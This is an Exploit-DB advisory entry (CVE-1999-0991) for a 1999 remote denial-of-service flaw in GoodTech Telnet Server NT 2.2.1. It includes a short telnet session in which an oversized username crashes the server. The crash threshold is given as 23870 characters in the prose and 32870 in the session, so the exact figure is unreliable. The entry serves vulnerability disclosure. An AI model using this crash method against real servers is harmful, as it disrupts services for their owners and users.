GoodTech Telnet Server NT 2.2.1 DoS Vulnerability

ID EDB-ID:19666
Type exploitdb
Reporter Ussr Labs
Modified 1999-12-06T00:00:00


GoodTech Telnet Server NT 2.2.1 DoS Vulnerability. CVE-1999-0991. Dos exploit for windows platform


GoodTech Telnet Server NT 2.2.1 is vulnerable to a remote denial of service attack due to an unchecked buffer. If 23870 or more characters are entered at the username prompt, the software will crash.

GoodTech's Telnet Server 95/98 may also be vulnerable to this overflow. 

$ telnet victimhost

Trying victimhost...
Connected to victimhost.
Escape character is '^]'.

Welcome to GoodTech Telnet Server for Windows NT (V2.2) (Evaluation Copy)

(C) Copyright 1996-1999 GoodTech Systems, Inc.

Login username: (32870 characters)

...server crash